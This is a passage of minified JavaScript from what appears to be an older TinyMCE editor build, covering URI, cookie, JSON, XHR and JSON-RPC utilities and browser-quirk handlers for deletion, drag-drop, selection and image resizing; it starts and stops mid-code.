t=this;p=/^(.*?)\/?(\w+)?$/.exec(p),t.path=p[0],t.directory=p[1],t.file=p[2],t.source="",t.getURI()},toRelative:function(u){var o,t=this;if("./"===u)return u;if(u=new tinymce.util.URI(u,{base_uri:t}),"mce_host"!=u.host&&t.host!=u.host&&u.host||t.port!=u.port||t.protocol!=u.protocol)return u.getURI();var tu=t.getURI(),uu=u.getURI();return tu==uu||"/"==tu.charAt(tu.length-1)&&tu.substr(0,tu.length-1)==uu?tu:(o=t.toRelPath(t.path,u.path),u.query&&(o+="?"+u.query),u.anchor&&(o+="#"+u.anchor),o)},toAbsolute:function(u,nh){return u=new tinymce.util.URI(u,{base_uri:this}),u.getURI(this.host==u.host&&this.protocol==u.protocol?nh:0)},toRelPath:function(base,path){var items,i,l,bp=0,out="";if(base=base.substring(0,base.lastIndexOf("/")),base=base.split("/"),items=path.split("/"),base.length>=items.length)for(i=0,l=base.length;i<l;i++)if(i>=items.length||base[i]!=items[i]){bp=i+1;break}if(base.length<items.length)for(i=0,l=items.length;i<l;i++)if(i>=base.length||base[i]!=items[i]){bp=i+1;break}if(1===bp)return path;for(i=0,l=base.length-(bp-1);i<l;i++)out+="../";for(i=bp-1,l=items.length;i<l;i++)out+=i!=bp-1?"/"+items[i]:items[i];return out},toAbsPath:function(base,path){var i,tr,outPath,nb=0,o=[];for(tr=/\/$/.test(path)?"/":"",base=base.split("/"),path=path.split("/"),each(base,function(k){k&&o.push(k)}),base=o,i=path.length-1,o=[];i>=0;i--)0!==path[i].length&&"."!==path[i]&&(".."!==path[i]?nb>0?nb--:o.push(path[i]):nb++);return i=base.length-nb,outPath=i<=0?o.reverse().join("/"):base.slice(0,i).join("/")+"/"+o.reverse().join("/"),0!==outPath.indexOf("/")&&(outPath="/"+outPath),tr&&outPath.lastIndexOf("/")!==outPath.length-1&&(outPath+=tr),outPath},getURI:function(nh){var s,t=this;return t.source&&!nh||(s="",nh||(t.protocol&&(s+=t.protocol+"://"),t.userInfo&&(s+=t.userInfo+"@"),t.host&&(s+=t.host),t.port&&(s+=":"+t.port)),t.path&&(s+=t.path),t.query&&(s+="?"+t.query),t.anchor&&(s+="#"+t.anchor),t.source=s),t.source}})}(),function(){var each=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(n){var h,v=this.get(n);return v&&each(v.split("&"),function(v){v=v.split("="),h=h||{},h[unescape(v[0])]=unescape(v[1])}),h},setHash:function(n,v,e,p,d,s){var o="";each(v,function(v,k){o+=(o?"&":"")+escape(k)+"="+escape(v)}),this.set(n,o,e,p,d,s)},get:function(n){var e,b,c=document.cookie,p=n+"=";if(c){if(b=c.indexOf("; "+p),b==-1){if(b=c.indexOf(p),0!==b)return null}else b+=2;return e=c.indexOf(";",b),e==-1&&(e=c.length),unescape(c.substring(b+p.length,e))}},set:function(n,v,e,p,d,s){document.cookie=n+"="+escape(v)+(e?"; expires="+e.toGMTString():"")+(p?"; path="+escape(p):"")+(d?"; domain="+d:"")+(s?"; secure":"")},remove:function(name,path,domain){var date=new Date;date.setTime(date.getTime()-1e3),this.set(name,"",date,path,domain)}})}(),function(){function serialize(o,quote){var i,v,t,name;if(quote=quote||'"',null==o)return"null";if(t=typeof o,"string"==t)return v="\bb\tt\nn\ff\rr\"\"''\\\\",quote+o.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g,function(a,b){return'"'===quote&&"'"===a?a:(i=v.indexOf(b),i+1?"\\"+v.charAt(i+1):(a=b.charCodeAt().toString(16),"\\u"+"0000".substring(a.length)+a))})+quote;if("object"==t){if(o.hasOwnProperty&&"[object Array]"===Object.prototype.toString.call(o)){for(i=0,v="[";i<o.length;i++)v+=(i>0?",":"")+serialize(o[i],quote);return v+"]"}v="{";for(name in o)o.hasOwnProperty(name)&&(v+="function"!=typeof o[name]?(v.length>1?","+quote:quote)+name+quote+":"+serialize(o[name],quote):"");return v+"}"}return""+o}tinymce.util.JSON={serialize:serialize,parse:function(s){try{return eval("("+s+")")}catch(ex){}}}}(),tinymce.create("static tinymce.util.XHR",{send:function(o){function ready(){!o.async||4==x.readyState||c++>1e4?(o.success&&c<1e4&&200==x.status?o.success.call(o.success_scope,""+x.responseText,x,o):o.error&&o.error.call(o.error_scope,c>1e4?"TIMED_OUT":"GENERAL",x,o),x=null):w.setTimeout(ready,10)}function get(s){x=0;try{x=new ActiveXObject(s)}catch(ex){}return x}var x,t,w=window,c=0;if(o.scope=o.scope||this,o.success_scope=o.success_scope||o.scope,o.error_scope=o.error_scope||o.scope,o.async=o.async!==!1,o.data=o.data||"",x=w.XMLHttpRequest?new XMLHttpRequest:get("Microsoft.XMLHTTP")||get("Msxml2.XMLHTTP")){if(x.overrideMimeType&&x.overrideMimeType(o.content_type),x.open(o.type||(o.data?"POST":"GET"),o.url,o.async),o.content_type&&x.setRequestHeader("Content-Type",o.content_type),x.setRequestHeader("X-Requested-With","XMLHttpRequest"),x.send(o.data),!o.async)return ready();t=w.setTimeout(ready,10)}}}),function(){var extend=tinymce.extend,JSON=tinymce.util.JSON,XHR=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(s){this.settings=extend({},s),this.count=0},send:function(o){var ecb=o.error,scb=o.success;o=extend(this.settings,o),o.success=function(c,x){c=JSON.parse(c),"undefined"==typeof c&&(c={error:"JSON Parse error."}),c.error?ecb.call(o.error_scope||o.scope,c.error,x):scb.call(o.success_scope||o.scope,c.result)},o.error=function(ty,x){ecb&&ecb.call(o.error_scope||o.scope,ty,x)},o.data=JSON.serialize({id:o.id||"c"+this.count++,method:o.method,params:o.params}),o.content_type="application/json",XHR.send(o)},static:{sendRPC:function(o){return(new tinymce.util.JSONRequest).send(o)}}})}(),function(tinymce){tinymce.VK={BACKSPACE:8,DELETE:46,DOWN:40,ENTER:13,LEFT:37,RIGHT:39,SPACEBAR:32,TAB:9,UP:38,modifierPressed:function(e){return e.shiftKey||e.ctrlKey||e.altKey},metaKeyPressed:function(e){return tinymce.isMac?e.metaKey:e.ctrlKey&&!e.altKey}}}(tinymce),tinymce.util.Quirks=function(editor){function setEditorCommandState(cmd,state){try{editor.getDoc().execCommand(cmd,!1,state)}catch(ex){}}function getDocumentMode(){var documentMode=editor.getDoc().documentMode;return documentMode?documentMode:6}function isDefaultPrevented(e){return e.isDefaultPrevented()}function setMceInternalContent(e){var selectionHtml,internalContent;e.dataTransfer&&(editor.selection.isCollapsed()&&"IMG"==e.target.tagName&&selection.select(e.target),selectionHtml=editor.selection.getContent(),selectionHtml.length>0&&(internalContent=mceInternalUrlPrefix+escape(editor.id)+","+escape(selectionHtml),e.dataTransfer.setData(mceInternalDataType,internalContent)))}function getMceInternalContent(e){var internalContent;return e.dataTransfer&&(internalContent=e.dataTransfer.getData(mceInternalDataType),internalContent&&internalContent.indexOf(mceInternalUrlPrefix)>=0)?(internalContent=internalContent.substr(mceInternalUrlPrefix.length).split(","),{id:unescape(internalContent[0]),html:unescape(internalContent[1])}):null}function insertClipboardContents(content){editor.queryCommandSupported("mceInsertClipboardContent")?editor.execCommand("mceInsertClipboardContent",!1,{content:content}):editor.execCommand("mceInsertContent",!1,content)}function cleanupStylesWhenDeleting(){function isTrailingBr(node){var blockElements=dom.schema.getBlockElements(),rootNode=editor.getBody();if("BR"!=node.nodeName)return!1;for(;node!=rootNode&&!blockElements[node.nodeName];node=node.parentNode)if(node.nextSibling)return!1;return!0}function isSiblingsIgnoreWhiteSpace(node1,node2){var node;for(node=node1.nextSibling;node&&node!=node2;node=node.nextSibling)if((3!=node.nodeType||0!==tinymce.trim(node.data).length)&&node!==node2)return!1;return node===node2}function findCaretNode(node,forward,startNode){var walker,current,nonEmptyElements;if(dom.isChildOf(node,editor.getBody()))for(nonEmptyElements=dom.schema.getNonEmptyElements(),walker=new TreeWalker(startNode||node,node);current=walker[forward?"next":"prev"]();){if(nonEmptyElements[current.nodeName]&&!isTrailingBr(current))return current;if(3==current.nodeType&&current.data.length>0)return current}}function deleteRangeBetweenTextBlocks(rng){var startBlock,endBlock,caretNodeBefore,caretNodeAfter,textBlockElements;if(!rng.collapsed&&(startBlock=dom.getParent(RangeUtils.getNode(rng.startContainer,rng.startOffset),dom.isBlock),endBlock=dom.getParent(RangeUtils.getNode(rng.endContainer,rng.endOffset),dom.isBlock),textBlockElements=editor.schema.getTextBlockElements(),startBlock!=endBlock&&textBlockElements[startBlock.nodeName]&&textBlockElements[endBlock.nodeName]&&"false"!==dom.getContentEditable(startBlock)&&"false"!==dom.getContentEditable(endBlock)))return rng.deleteContents(),caretNodeBefore=findCaretNode(startBlock,!1),caretNodeAfter=findCaretNode(endBlock,!0),each([startBlock,endBlock],function(node){dom.isEmpty(node)&&dom.remove(node)}),caretNodeBefore&&caretNodeAfter&&(dom.isEmpty(endBlock)||tinymce.each(endBlock.childNodes,function(node){node&&startBlock.appendChild(node)}),dom.remove(endBlock)),caretNodeBefore?1==caretNodeBefore.nodeType?"BR"==caretNodeBefore.nodeName?(rng.setStartBefore(caretNodeBefore),rng.setEndBefore(caretNodeBefore)):(rng.setStartAfter(caretNodeBefore),rng.setEndAfter(caretNodeBefore)):(rng.setStart(caretNodeBefore,caretNodeBefore.data.length),rng.setEnd(caretNodeBefore,caretNodeBefore.data.length)):caretNodeAfter&&(1==caretNodeAfter.nodeType?(rng.setStartBefore(caretNodeAfter),rng.setEndBefore(caretNodeAfter)):(rng.setStart(caretNodeAfter,0),rng.setEnd(caretNodeAfter,0))),selection.setRng(rng),!0}function expandBetweenBlocks(rng,isForward){var caretNode,targetCaretNode,textBlock,targetTextBlock,container,offset;if(!rng.collapsed)return rng;if(container=rng.startContainer,offset=rng.startOffset,3==container.nodeType)if(isForward){if(offset<container.data.length)return rng}else if(offset>0)return rng;caretNode=RangeUtils.getNode(container,offset),textBlock=dom.getParent(caretNode,dom.isBlock),targetCaretNode=findCaretNode(editor.getBody(),isForward,caretNode),targetTextBlock=dom.getParent(targetCaretNode,dom.isBlock);var isAfter=1===container.nodeType&&offset>container.childNodes.length-1;if(!caretNode||!targetCaretNode)return rng;if(targetTextBlock&&textBlock!=targetTextBlock)if(isForward){if(!isSiblingsIgnoreWhiteSpace(textBlock,targetTextBlock))return rng;1==caretNode.nodeType?"BR"==caretNode.nodeName?rng.setStartBefore(caretNode):rng.setStartAfter(caretNode):rng.setStart(caretNode,caretNode.data.length),1==targetCaretNode.nodeType?rng.setEnd(targetCaretNode,0):rng.setEndBefore(targetCaretNode)}else{if(!isSiblingsIgnoreWhiteSpace(targetTextBlock,textBlock))return rng;1==targetCaretNode.nodeType?"BR"==targetCaretNode.nodeName?rng.setStartBefore(targetCaretNode):rng.setStartAfter(targetCaretNode):rng.setStart(targetCaretNode,targetCaretNode.data.length),1==caretNode.nodeType&&isAfter?rng.setEndAfter(caretNode):rng.setEndBefore(caretNode)}return rng}function handleTextBlockMergeDelete(isForward){var rng=selection.getRng();if(rng=expandBetweenBlocks(rng,isForward),deleteRangeBetweenTextBlocks(rng))return!0}function handleLastBlockCharacterDelete(isForward,rng){function cloneTextBlockWithFormats(blockElm,node){return currentFormatNodes=dom.getParents(node,function(n){return!!editor.schema.getTextInlineElements()[n.nodeName]}),newBlockElm=blockElm.cloneNode(!1),currentFormatNodes=tinymce.map(currentFormatNodes,function(formatNode){return formatNode=formatNode.cloneNode(!1),newBlockElm.hasChildNodes()?(formatNode.appendChild(newBlockElm.firstChild),newBlockElm.appendChild(formatNode)):newBlockElm.appendChild(formatNode),newBlockElm.appendChild(formatNode),formatNode}),currentFormatNodes.length?(br=dom.create("br"),currentFormatNodes[0].appendChild(br),dom.replace(newBlockElm,blockElm),rng.setStartBefore(br),rng.setEndBefore(br),editor.selection.setRng(rng),br):null}function isTextBlock(node){return node&&editor.schema.getTextBlockElements()[node.tagName]}function NodePathCreate(rootNode,targetNode,normalized){for(var path=[];targetNode&&targetNode!=rootNode;targetNode=targetNode.parentNode)path.push(tinymce.DOM.nodeIndex(targetNode,normalized));return path}function NodePathResolve(rootNode,path){var i,node,children;for(node=rootNode,i=path.length-1;i>=0;i--){if(children=node.childNodes,path[i]>children.length-1)return null;node=children[path[i]]}return node}var path,blockElm,newBlockElm,clonedBlockElm,sibling,container,offset,br,currentFormatNodes;if(rng.collapsed&&(container=rng.startContainer,offset=rng.startOffset,blockElm=dom.getParent(container,dom.isBlock),isTextBlock(blockElm)))if(1==container.nodeType){if(container=container.childNodes[offset],container&&"BR"!=container.tagName)return;if(sibling=isForward?blockElm.nextSibling:blockElm.previousSibling,dom.isEmpty(blockElm)&&isTextBlock(sibling)&&dom.isEmpty(sibling)&&cloneTextBlockWithFormats(blockElm,container))return dom.remove(sibling),!0}else if(3==container.nodeType){if(path=NodePathCreate(blockElm,container),clonedBlockElm=blockElm.cloneNode(!0),container=NodePathResolve(clonedBlockElm,path),isForward){if(offset>=container.data.length)return;container.deleteData(offset,1)}else{if(offset<=0)return;container.deleteData(offset-1,1)}if(dom.isEmpty(clonedBlockElm))return cloneTextBlockWithFormats(blockElm,container)}}function customDelete(isForward){var mutationObserver,rng,caretElement;handleTextBlockMergeDelete(isForward)||(tinymce.each(editor.getBody().getElementsByTagName("*"),function(elm){"SPAN"==elm.tagName&&elm.setAttribute("mce-data-marked",1),!elm.hasAttribute("data-mce-style")&&elm.hasAttribute("style")&&editor.dom.setAttrib(elm,"style",editor.dom.getAttrib(elm,"style"))}),mutationObserver=new MutationObserver(function(){}),mutationObserver.observe(editor.getDoc(),{childList:!0,attributes:!0,subtree:!0,attributeFilter:["style"]}),editor.getDoc().execCommand(isForward?"ForwardDelete":"Delete",!1,null),rng=editor.selection.getRng(),caretElement=rng.startContainer.parentNode,tinymce.each(mutationObserver.takeRecords(),function(record){if(dom.isChildOf(record.target,editor.getBody())){if("style"==record.attributeName){var oldValue=record.target.getAttribute("data-mce-style");oldValue?record.target.setAttribute("style",oldValue):record.target.removeAttribute("style")}tinymce.each(record.addedNodes,function(node){if("SPAN"==node.nodeName&&!node.getAttribute("mce-data-marked")){var offset,container;node==caretElement&&(offset=rng.startOffset,container=node.firstChild),dom.remove(node,!0),container&&(rng.setStart(container,offset),rng.setEnd(container,offset),editor.selection.setRng(rng))}})}}),mutationObserver.disconnect(),tinymce.each(editor.dom.select("span[mce-data-marked]"),function(span){span.removeAttribute("mce-data-marked")}))}function transactCustomDelete(isForward){customDelete(isForward),editor.undoManager.add()}var dragStartRng,doc=editor.getDoc(),dom=editor.dom,selection=editor.selection,MutationObserver=window.MutationObserver;editor.onKeyDown.add(function(editor,e){var isForward=e.keyCode==DELETE,isMetaOrCtrl=e.ctrlKey||e.metaKey;if(!isDefaultPrevented(e)&&(isForward||e.keyCode==BACKSPACE)){var rng=editor.selection.getRng(),container=rng.startContainer,offset=rng.startOffset;if(editor.settings.forced_root_block===!1)return;if(isForward&&e.shiftKey)return;if(handleLastBlockCharacterDelete(isForward,rng))return void e.preventDefault();if(!isMetaOrCtrl&&rng.collapsed&&3==container.nodeType&&(isForward?offset<container.data.length:offset>0))return;e.preventDefault(),isMetaOrCtrl&&editor.selection.getSel().modify("extend",isForward?"forward":"backward",e.metaKey?"lineboundary":"word"),customDelete(isForward)}}),editor.onKeyPress.add(function(editor,e){if(!isDefaultPrevented(e)&&!selection.isCollapsed()&&e.charCode>31&&!VK.metaKeyPressed(e)){var rng,currentFormatNodes,fragmentNode,blockParent,caretNode,charText;if(editor.settings.forced_root_block===!1)return;rng=editor.selection.getRng(),charText=String.fromCharCode(e.charCode),e.preventDefault(),currentFormatNodes=dom.getParents(rng.startContainer,function(node){return!!editor.schema.getTextInlineElements()[node.nodeName]}),customDelete(!0),currentFormatNodes=currentFormatNodes.filter(function(idx,node){return!editor.getBody().contains(node)}),currentFormatNodes.length?(fragmentNode=dom.createFragment(),currentFormatNodes.each(function(idx,formatNode){formatNode=formatNode.cloneNode(!1),fragmentNode.hasChildNodes()?(formatNode.appendChild(fragmentNode.firstChild),fragmentNode.appendChild(formatNode)):(caretNode=formatNode,fragmentNode.appendChild(formatNode)),fragmentNode.appendChild(formatNode)}),caretNode.appendChild(editor.getDoc().createTextNode(charText)),blockParent=dom.getParent(rng.startContainer,dom.isBlock),dom.isEmpty(blockParent)?(dom.empty(blockParent),dom.add(blockParent,fragmentNode)):rng.insertNode(fragmentNode),rng.setStart(caretNode.firstChild,1),rng.setEnd(caretNode.firstChild,1),editor.selection.setRng(rng)):editor.selection.setContent(charText)}}),editor.addCommand("Delete",function(){customDelete()}),editor.addCommand("ForwardDelete",function(){customDelete(!0)}),editor.dom.bind(editor.getBody(),"dragstart",function(e){dragStartRng=selection.getRng(),setMceInternalContent(e)}),editor.dom.bind(editor.getBody(),"drop",function(e){if(!isDefaultPrevented(e)){var internalContent=getMceInternalContent(e);internalContent&&(e.preventDefault(),setTimeout(function(){var pointRng=RangeUtils.getCaretRangeFromPoint(e.x,e.y,doc);dragStartRng&&(selection.setRng(dragStartRng),dragStartRng=null,transactCustomDelete()),selection.setRng(pointRng),insertClipboardContents(internalContent.html)},0))}})}function emptyEditorWhenDeleting(){function serializeRng(rng){var body=dom.create("body"),contents=rng.cloneContents();return body.appendChild(contents),selection.serializer.serialize(body,{format:"html"})}function allContentsSelected(rng){var selection=serializeRng(rng),allRng=dom.createRng();allRng.selectNode(editor.getBody());var allSelection=serializeRng(allRng);return selection===allSelection}editor.onKeyDown.add(function(editor,e){var isCollapsed,keyCode=e.keyCode;if(!isDefaultPrevented(e)&&(keyCode==DELETE||keyCode==BACKSPACE)){if(isCollapsed=editor.selection.isCollapsed(),isCollapsed&&!dom.isEmpty(editor.getBody()))return;if(tinymce.isIE&&!isCollapsed)return;if(!isCollapsed&&!allContentsSelected(editor.selection.getRng()))return;editor.setContent(""),editor.selection.setCursorLocation(editor.getBody(),0),editor.nodeChanged()}})}function selectAll(){editor.onKeyDown.add(function(editor,e){!isDefaultPrevented(e)&&65==e.keyCode&&VK.metaKeyPressed(e)&&(e.preventDefault(),editor.execCommand("SelectAll"))})}function inputMethodFocus(){editor.settings.content_editable||(dom.bind(editor.getDoc(),"focusin",function(e){selection.setRng(selection.getRng())}),dom.bind(editor.getDoc(),"mousedown",function(e){e.target==editor.getDoc().documentElement&&(editor.getWin().focus(),selection.setRng(selection.getRng()))}))}function removeHrOnBackspace(){editor.onKeyDown.add(function(editor,e){if(!isDefaultPrevented(e)&&e.keyCode===BACKSPACE&&selection.isCollapsed()&&0===selection.getRng(!0).startOffset){var node=selection.getNode(),previousSibling=node.previousSibling;previousSibling&&previousSibling.nodeName&&"hr"===previousSibling.nodeName.toLowerCase()&&(dom.remove(previousSibling),tinymce.dom.Event.cancel(e))}})}function focusBody(){Range.prototype.getClientRects||editor.onMouseDown.add(function(editor,e){if(!isDefaultPrevented(e)&&"HTML"===e.target.nodeName){var body=editor.getBody();body.blur(),setTimeout(function(){body.focus()},0)}})}function selectControlElements(){editor.onClick.add(function(editor,e){var target=e.target;/^(IMG|HR)$/.test(target.nodeName)&&(e.preventDefault(),editor.selection.select(target)),"A"==e.nodeName&&dom.hasClass(e,"mce-item-anchor")&&selection.select(target),editor.nodeChanged()})}function removeStylesWhenDeletingAccrossBlockElements(){function getAttributeApplyFunction(){var template=dom.getAttribs(selection.getStart().cloneNode(!1));return function(){var target=selection.getStart();target!==editor.getBody()&&(dom.setAttrib(target,"style",null),each(template,function(attr){target.setAttributeNode(attr.cloneNode(!0))}))}}function isSelectionAcrossElements(){return!selection.isCollapsed()&&dom.getParent(selection.getStart(),dom.isBlock)!=dom.getParent(selection.getEnd(),dom.isBlock)}function blockEvent(editor,e){return e.preventDefault(),!1}editor.onKeyPress.add(function(editor,e){var applyAttributes;if(!isDefaultPrevented(e)&&(8==e.keyCode||46==e.keyCode)&&isSelectionAcrossElements())return applyAttributes=getAttributeApplyFunction(),editor.getDoc().execCommand("delete",!1,null),applyAttributes(),e.preventDefault(),!1}),dom.bind(editor.getDoc(),"cut",function(e){var applyAttributes;!isDefaultPrevented(e)&&isSelectionAcrossElements()&&(applyAttributes=getAttributeApplyFunction(),editor.onKeyUp.addToTop(blockEvent),setTimeout(function(){applyAttributes(),editor.onKeyUp.remove(blockEvent)},0))})}function selectionChangeNodeChanged(){var lastRng,selectionTimer;dom.bind(editor.getDoc(),"selectionchange",function(){selectionTimer&&(clearTimeout(selectionTimer),selectionTimer=0),selectionTimer=window.setTimeout(function(){var rng=selection.getRng();lastRng&&tinymce.dom.RangeUtils.compareRanges(rng,lastRng)||(editor.nodeChanged(),lastRng=rng)},50)})}function ensureBodyHasRoleApplication(){document.body.setAttribute("role","application")}function disableBackspaceIntoATable(){editor.onKeyDown.add(function(editor,e){if(!isDefaultPrevented(e)&&e.keyCode===BACKSPACE&&selection.isCollapsed()&&0===selection.getRng(!0).startOffset){var previousSibling=selection.getNode().previousSibling;if(previousSibling&&previousSibling.nodeName&&"table"===previousSibling.nodeName.toLowerCase())return tinymce.dom.Event.cancel(e)}})}function addNewLinesBeforeBrInPre(){getDocumentMode()>7||(setEditorCommandState("RespectVisibilityInDesign",!0),editor.contentStyles.push(".mceHideBrInPre pre br {display: none}"),dom.addClass(editor.getBody(),"mceHideBrInPre"),parser.addNodeFilter("pre",function(nodes,name){for(var brNodes,j,brElm,sibling,i=nodes.length;i--;)for(brNodes=nodes[i].getAll("br"),j=brNodes.length;j--;)brElm=brNodes[j],sibling=brElm.prev,sibling&&3===sibling.type&&"\n"!=sibling.value.charAt(sibling.value-1)?sibling.value+="\n":brElm.parent.insert(new tinymce.html.Node("#text",3),brElm,!0).value="\n"}),serializer.addNodeFilter("pre",function(nodes,name){for(var brNodes,j,brElm,sibling,i=nodes.length;i--;)for(brNodes=nodes[i].getAll("br"),j=brNodes.length;j--;)brElm=brNodes[j],sibling=brElm.prev,sibling&&3==sibling.type&&(sibling.value=sibling.value.replace(/\r?\n$/,""))}))}function removePreSerializedStylesWhenSelectingControls(){dom.bind(editor.getBody(),"mouseup",function(e){var value,node=selection.getNode();"IMG"==node.nodeName&&((value=dom.getStyle(node,"width"))&&(dom.setAttrib(node,"width",value.replace(/[^0-9%]+/g,"")),dom.setStyle(node,"width","")),(value=dom.getStyle(node,"height"))&&(dom.setAttrib(node,"height",value.replace(/[^0-9%]+/g,"")),dom.setStyle(node,"height","")))})}function removeBlockQuoteOnBackSpace(){editor.onKeyDown.add(function(editor,e){var rng,container,offset,root,parent;if(!isDefaultPrevented(e)&&e.keyCode==VK.BACKSPACE&&(rng=selection.getRng(),container=rng.startContainer,offset=rng.startOffset,root=dom.getRoot(),parent=container,rng.collapsed&&0===offset)){for(;parent&&parent.parentNode&&parent.parentNode.firstChild==parent&&parent.parentNode!=root;)parent=parent.parentNode;"BLOCKQUOTE"===parent.tagName&&(editor.formatter.toggle("blockquote",null,parent),rng=dom.createRng(),rng.setStart(container,0),rng.setEnd(container,0),selection.setRng(rng))}})}function setGeckoEditingOptions(){function setOpts(){editor._refreshContentEditable(),setEditorCommandState("StyleWithCSS",!1),setEditorCommandState("enableInlineTableEditing",!1),settings.object_resizing||setEditorCommandState("enableObjectResizing",!1)}settings.readonly||(editor.onBeforeExecCommand.add(setOpts),
editor.onMouseDown.add(setOpts))}function addBrAfterLastLinks(){function fixLinks(editor,o){each(dom.select("a"),function(node){var parentNode=node.parentNode,root=dom.getRoot();if(parentNode.lastChild===node){for(;parentNode&&!dom.isBlock(parentNode);){if(parentNode.parentNode.lastChild!==parentNode||parentNode===root)return;parentNode=parentNode.parentNode}dom.add(parentNode,"br",{"data-mce-bogus":1})}})}editor.onExecCommand.add(function(editor,cmd){"mceInsertLink"===cmd&&fixLinks(editor)}),editor.onSetContent.add(selection.onSetContent.add(fixLinks))}function setDefaultBlockType(){settings.forced_root_block&&editor.onInit.add(function(){setEditorCommandState("DefaultParagraphSeparator",settings.forced_root_block)})}function removeGhostSelection(){function repaint(sender,args){sender&&args.initial||editor.execCommand("mceRepaint")}editor.onUndo.add(repaint),editor.onRedo.add(repaint),editor.onSetContent.add(repaint)}function deleteControlItemOnBackSpace(){editor.onKeyDown.add(function(editor,e){var rng;isDefaultPrevented(e)||e.keyCode!=BACKSPACE||(rng=editor.getDoc().selection.createRange(),rng&&rng.item&&(e.preventDefault(),editor.undoManager.beforeChange(),dom.remove(rng.item(0)),editor.undoManager.add()))})}function renderEmptyBlocksFix(){var emptyBlocksCSS;getDocumentMode()>=10&&(emptyBlocksCSS="",each("p div h1 h2 h3 h4 h5 h6".split(" "),function(name,i){emptyBlocksCSS+=(i>0?",":"")+name+":empty"}),editor.contentStyles.push(emptyBlocksCSS+"{padding-right: 1px !important}"))}function fakeImageResize(){var selectedElm,selectedElmGhost,resizeHelper,resizeHandles,selectedHandle,startX,startY,selectedElmX,selectedElmY,startW,startH,ratio,resizeStarted,width,height,startScrollWidth,startScrollHeight,dom=editor.dom,each=tinymce.each,editableDoc=editor.getDoc(),rootDocument=document,abs=Math.abs,round=Math.round,rootElement=editor.getBody();if(editor.onObjectResized=new tinymce.util.Dispatcher,editor.onObjectResizeStart=new tinymce.util.Dispatcher,settings.object_resizing&&settings.webkit_fake_resize!==!1){resizeHandles={nw:[0,0,-1,-1],ne:[1,0,1,-1],se:[1,1,1,1],sw:[0,1,-1,1]};var rootClass=".mceContentBody";editor.contentStyles.push(rootClass+" div.mce-resizehandle {position: absolute;border: 1px solid black;box-sizing: content-box;background: #FFF;width: 7px;height: 7px;z-index: 10000}"+rootClass+" .mce-resizehandle:hover {background: #000}"+rootClass+" img[data-mce-selected],"+rootClass+" hr[data-mce-selected] {outline: 1px solid black;resize: none}"+rootClass+" .mce-clonedresizable {position: absolute;"+(tinymce.isGecko?"":"outline: 1px dashed black;")+"opacity: .5;filter: alpha(opacity=50);z-index: 10000}"+rootClass+" .mce-resize-helper {background: #555;background: rgba(0,0,0,0.75);border-radius: 3px;border: 1px;color: white;display: none;font-family: sans-serif;font-size: 12px;white-space: nowrap;line-height: 14px;margin: 5px 10px;padding: 5px;position: absolute;z-index: 10001}");var isImage=function(elm){return elm&&("IMG"===elm.nodeName||editor.dom.is(elm,"figure[data-mce-image]"))},getResizeTarget=function(elm){return editor.dom.is(elm,"figure[data-mce-image]")?elm.querySelector("img"):elm},isResizable=function(elm){var selector=editor.settings.object_resizing;return selector!==!1&&!tinymce.isIOS&&("string"!=typeof selector&&(selector="table,img,figure[data-mce-image],div"),"false"!==elm.getAttribute("data-mce-resize")&&(elm!==editor.getBody()&&editor.dom.is(elm,selector)))},resizeGhostElement=function(e){var deltaX,deltaY,proportional,resizeHelperX,resizeHelperY;deltaX=e.screenX-startX,deltaY=e.screenY-startY,width=deltaX*selectedHandle[2]+startW,height=deltaY*selectedHandle[3]+startH,width=width<5?5:width,height=height<5?5:height,proportional=isImage(selectedElm)&&editor.settings.resize_img_proportional!==!1?!VK.modifierPressed(e):VK.modifierPressed(e)||isImage(selectedElm)&&selectedHandle[2]*selectedHandle[3]!==0,proportional&&(abs(deltaX)>abs(deltaY)?(height=round(width*ratio),width=round(height/ratio)):(width=round(height/ratio),height=round(width*ratio))),dom.setStyles(getResizeTarget(selectedElmGhost),{width:width,height:height}),resizeHelperX=selectedHandle.startPos.x+deltaX,resizeHelperY=selectedHandle.startPos.y+deltaY,resizeHelperX=resizeHelperX>0?resizeHelperX:0,resizeHelperY=resizeHelperY>0?resizeHelperY:0,dom.setStyles(resizeHelper,{left:resizeHelperX,top:resizeHelperY,display:"block"}),resizeHelper.innerHTML=width+" &times; "+height,selectedHandle[2]<0&&selectedElmGhost.clientWidth<=width&&dom.setStyle(selectedElmGhost,"left",selectedElmX+(startW-width)),selectedHandle[3]<0&&selectedElmGhost.clientHeight<=height&&dom.setStyle(selectedElmGhost,"top",selectedElmY+(startH-height)),deltaX=rootElement.scrollWidth-startScrollWidth,deltaY=rootElement.scrollHeight-startScrollHeight,deltaX+deltaY!==0&&dom.setStyles(resizeHelper,{left:resizeHelperX-deltaX,top:resizeHelperY-deltaY}),resizeStarted||(editor.onObjectResizeStart.dispatch(editor,selectedElm,startW,startH),resizeStarted=!0)},endGhostResize=function(){resizeStarted=!1;var setSizeProp=function(name,value){value&&dom.setAttrib(getResizeTarget(selectedElm),name,value)};setSizeProp("width",width),setSizeProp("height",height),dom.unbind(editableDoc,"mousemove",resizeGhostElement),dom.unbind(editableDoc,"mouseup",endGhostResize),rootDocument!==editableDoc&&(dom.unbind(rootDocument,"mousemove",resizeGhostElement),dom.unbind(rootDocument,"mouseup",endGhostResize)),dom.remove(selectedElmGhost),dom.remove(resizeHelper),showResizeRect(selectedElm),editor.onObjectResized.dispatch(editor,selectedElm,width,height),dom.setAttrib(selectedElm,"style",dom.getAttrib(selectedElm,"style")),editor.nodeChanged()},showResizeRect=function(targetElm){var position,targetWidth,targetHeight,rect;hideResizeRect(),unbindResizeHandleEvents(),position=dom.getPos(targetElm,rootElement),selectedElmX=position.x,selectedElmY=position.y,rect=targetElm.getBoundingClientRect(),targetWidth=rect.width||rect.right-rect.left,targetHeight=rect.height||rect.bottom-rect.top,selectedElm!==targetElm&&(selectedElm=targetElm,width=height=0),isResizable(targetElm)?each(resizeHandles,function(handle,name){var 